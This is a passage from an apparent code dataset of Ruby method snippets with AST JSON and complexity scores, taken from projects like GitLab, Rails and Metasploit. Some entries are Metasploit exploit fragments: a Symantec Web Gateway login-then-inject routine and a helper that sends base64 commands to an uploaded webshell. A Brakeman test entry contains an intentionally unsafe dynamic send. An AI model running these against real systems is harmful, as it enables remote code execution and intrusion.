:[\"access_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"team\"]},\"max_member_access\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repository_path\"]}]}]}]}]}]}]}","id":"449b5475-9553-49f9-9270-9e5f5b1cc31a"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget_set.rb","start_line":64,"raw_source":"def ensure_can_be_destroyed\n if read_only?\n errors.add(:base, _(\"Unable to delete read-only WidgetSet\"))\n throw(:abort)\n end\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_can_be_destroyed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_only?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unable to delete read-only WidgetSet\"]}]}]},{\"type\":\"send\",\"children\":[null,\"throw\",{\"type\":\"sym\",\"children\":[\"abort\"]}]}]},null]}]}","id":"ee2a50f0-5cab-44e5-baad-2d85c87691e9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/symantec_web_gateway_restore.rb","start_line":196,"raw_source":"def exploit\n print_status(\"Getting the PHPSESSID...\")\n sid = get_sid\n if sid.blank?\n print_error(\"Failed to get the session ID. Cannot continue with the login.\")\n return\n end\n\n print_status(\"Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}\")\n sid = login(sid)\n if sid.blank?\n print_error(\"Failed to get the session ID from the login process. Cannot continue with the injection.\")\n return\n else\n # Good password, keep it\n store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])\n end\n\n print_status(\"Trying restore.php...\")\n inject_exec(sid)\n end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Getting the PHPSESSID...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sid\",{\"type\":\"send\",\"children\":[null,\"get_sid\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to get the session ID. Cannot continue with the login.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to log in as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sid\",{\"type\":\"send\",\"children\":[null,\"login\",{\"type\":\"lvar\",\"children\":[\"sid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to get the session ID from the login process. Cannot continue with the injection.\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"store_valid_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying restore.php...\"]}]},{\"type\":\"send\",\"children\":[null,\"inject_exec\",{\"type\":\"lvar\",\"children\":[\"sid\"]}]}]}]}","id":"196f8d36-ff8e-45a8-8b41-5b277a0cd48a"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/account/contacts_export_job.rb","start_line":27,"raw_source":"def contacts\n if @params.present? && @params[:payload].present? && @params[:payload].any?\n result = ::Contacts::FilterService.new(@account, @account_user, @params).perform\n result[:contacts]\n elsif @params[:label].present?\n @account.contacts.resolved_contacts(use_crm_v2: @account.feature_enabled?('crm_v2')).tagged_with(@params[:label], any: true)\n else\n @account.contacts.resolved_contacts(use_crm_v2: @account.feature_enabled?('crm_v2'))\n end\n end","complexity_score":29.1,"ast_json":"{\"type\":\"def\",\"children\":[\"contacts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"any?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Contacts\"]},\"FilterService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@account\"]},{\"type\":\"ivar\",\"children\":[\"@account_user\"]},{\"type\":\"ivar\",\"children\":[\"@params\"]}]},\"perform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"contacts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"contacts\"]},\"resolved_contacts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_crm_v2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"feature_enabled?\",{\"type\":\"str\",\"children\":[\"crm_v2\"]}]}]}]}]},\"tagged_with\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"any\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"contacts\"]},\"resolved_contacts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_crm_v2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"feature_enabled?\",{\"type\":\"str\",\"children\":[\"crm_v2\"]}]}]}]}]}]}]}]}","id":"d82ac5ef-e166-4852-b4b4-6ecf506fc9bc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb","start_line":13,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Supermicro Onboard IPMI CGI Vulnerability Scanner',\n 'Description' => %q{\n This module checks for known vulnerabilities in the CGI applications of\n Supermicro Onboard IPMI controllers. These issues currently include\n several unauthenticated buffer overflows in the login.cgi and close_window.cgi\n components.\n },\n 'Author' => [\n 'hdm', # Discovery and analysis\n 'juan vazquez' # Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2013-3621' ],\n [ 'CVE', '2013-3623' ],\n [ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/']\n ],\n 'DisclosureDate' => '2013-11-06',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Supermicro Onboard IPMI CGI Vulnerability Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module checks for known vulnerabilities in the CGI applications of\\n\"]},{\"type\":\"str\",\"children\":[\" Supermicro Onboard IPMI controllers. These issues currently include\\n\"]},{\"type\":\"str\",\"children\":[\" several unauthenticated buffer overflows in the login.cgi and close_window.cgi\\n\"]},{\"type\":\"str\",\"children\":[\" components.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3621\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3623\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-11-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"8d691d40-e43a-43d7-aeec-16a7f5e923d1"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb","start_line":1019,"raw_source":"def cmd_listm_help\n print_line 'Usage: listm'\n print_line\n print_line 'List the module stack'\n print_line\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_listm_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: listm\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"List the module stack\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"241eb8a6-f4d8-4580-9bf4-c84600fa4798"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/add_work_package_note_service.rb","start_line":60,"raw_source":"def add_journal_to_work_package(notes, internal)\n work_package.add_journal(user:, notes:, internal:)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_journal_to_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notes\"]},{\"type\":\"arg\",\"children\":[\"internal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"add_journal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notes\"]},{\"type\":\"lvar\",\"children\":[\"notes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},{\"type\":\"lvar\",\"children\":[\"internal\"]}]}]}]}]}","id":"e0451041-e372-499f-bf42-5dd9e6c68423"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/translation_helper_test.rb","start_line":385,"raw_source":"def test_translate_bulk_lookup_with_default\n translations = translate([:\"translations.missing\", :\"translations.missing\"], default: :\"translations.foo\")\n assert_equal [\"Foo\", \"Foo\"], translations\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_translate_bulk_lookup_with_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"translations\",{\"type\":\"send\",\"children\":[null,\"translate\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"translations.missing\"]},{\"type\":\"sym\",\"children\":[\"translations.missing\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"translations.foo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Foo\"]},{\"type\":\"str\",\"children\":[\"Foo\"]}]},{\"type\":\"lvar\",\"children\":[\"translations\"]}]}]}]}","id":"3a5a4ff5-ccf0-4710-a3f7-711843315997"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repository_cache.rb","start_line":8,"raw_source":"def initialize(repository, extra_namespace: nil, backend: self.class.store)\n @repository = repository\n @namespace = repository.full_path.to_s\n @namespace += \":#{repository.project.id}\" if repository.project\n @namespace = \"#{@namespace}:#{extra_namespace}\" if extra_namespace\n @backend = backend\n end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"kwoptarg\",\"children\":[\"extra_namespace\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"backend\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"store\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"full_path\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"project\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@namespace\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"project\"]},\"id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_namespace\"]},{\"type\":\"ivasgn\",\"children\":[\"@namespace\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespace\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_namespace\"]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@backend\",{\"type\":\"lvar\",\"children\":[\"backend\"]}]}]}]}","id":"e4da739c-f9a8-4251-8a02-df23357202fa"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/users_controller.rb","start_line":138,"raw_source":"def contributed\n present_projects do\n load_contributed_projects\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"contributed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"present_projects\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"load_contributed_projects\"]}]}]}","id":"0a1d0ab7-072f-4fcc-9255-aec2f1234115"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/app/controllers/home_controller.rb","start_line":81,"raw_source":"def test_send_first_param\n method = params[\"method\"]\n @result = User.send(method.to_sym)\n do_something_with @result # don't warn on this line\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_send_first_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"method\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_sym\"]}]}]},{\"type\":\"send\",\"children\":[null,\"do_something_with\",{\"type\":\"ivar\",\"children\":[\"@result\"]}]}]}]}","id":"cfc22b59-1760-40ab-a7b6-ce667846f4ee"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/helper.rb","start_line":176,"raw_source":"def self.xcode_at_least?(version)\n installed_xcode_version = xcode_version\n UI.user_error!(\"Unable to locate Xcode. Please make sure to have Xcode installed on your machine\") if installed_xcode_version.nil?\n Gem::Version.new(installed_xcode_version) >= Gem::Version.new(version)\n end","complexity_score":8.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"xcode_at_least?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"installed_xcode_version\",{\"type\":\"send\",\"children\":[null,\"xcode_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installed_xcode_version\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Unable to locate Xcode. Please make sure to have Xcode installed on your machine\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"installed_xcode_version\"]}]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}","id":"f93630fc-2c8c-4c33-8e84-1c1e837ce370"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kas.rb","start_line":109,"raw_source":"def version_file_content\n Rails.root.join(VERSION_FILE).read.chomp\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"version_file_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"VERSION_FILE\"]}]},\"read\"]},\"chomp\"]}]}","id":"caadc101-6821-4597-8d90-f8b2d081218a"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/site_settings/local_process_provider.rb","start_line":36,"raw_source":"def find(name)\n settings[name]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"f73bb566-97ac-4d37-8b3b-04783638fc4a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/pretalx/error.rb","start_line":35,"raw_source":"def initialize(message = 'Could not successfully extract CSRF token')\n super(message: message)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"str\",\"children\":[\"Could not successfully extract CSRF token\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"823c85d2-1744-4cc9-8b58-990f78bbb63c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb","start_line":91,"raw_source":"def execute_php(cmd, _opts = {})\n payload = Base64.strict_encode64(cmd)\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, @webshell_name),\n 'vars_post' => {\n @post_param => payload\n }\n })\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_php\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_param\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]}]}]}","id":"e365bd40-5550-4ad8-acb5-797cc122f618"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/show.rb","start_line":68,"raw_source":"def create_first_new_file!\n within_element('quick-actions-container') do\n click_link_with_text 'New file'\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_first_new_file!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"quick-actions-container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_link_with_text\",{\"type\":\"str\",\"children\":[\"New file\"]}]}]}]}","id":"56c519f9-c033-482c-b179-1f21a979b937"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":517,"raw_source":"def test_ignores_remote_databases\n @configurations[\"development\"][\"host\"] = \"my.server.tld\"\n\n with_stubbed_configurations_establish_connection do\n assert_not_called(ActiveRecord::Tasks::DatabaseTasks, :create) do\n ActiveRecord::Tasks::DatabaseTasks.create_all\n end\n end\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ignores_remote_databases\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configurations\"]},\"[]\",{\"type\":\"str\",\"children\":[\"development\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"my.server.tld\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stubbed_configurations_establish_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_called\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},{\"type\":\"sym\",\"children\":[\"create\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create_all\"]}]}]}]}]}","id":"898bcc23-ca71-4538-a754-11af68bef1e3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/container_registry/protection/update_tag_rule_service.rb","start_line":25,"raw_source":"def execute\n unless can?(current_user, :admin_container_image, container_protection_tag_rule.project)\n return service_response_error(message: _('Unauthorized to update a protection rule for container image tags'))\n end\n\n unless ::ContainerRegistry::GitlabApiClient.supports_gitlab_api?\n return service_response_error(message: _('GitLab container registry API not supported'))\n end\n\n unless container_protection_tag_rule.update(params.slice(*ALLOWED_ATTRIBUTES))\n return service_response_error(message: container_protection_tag_rule.errors.full_messages)\n end\n\n ServiceResponse.success(payload: { container_protection_tag_rule: container_protection_tag_rule })\n rescue ArgumentError => e\n service_response_error(message: e.message)\n end","complexity_score":35.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_container_image\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_protection_tag_rule\"]},\"project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unauthorized to update a protection rule for container image 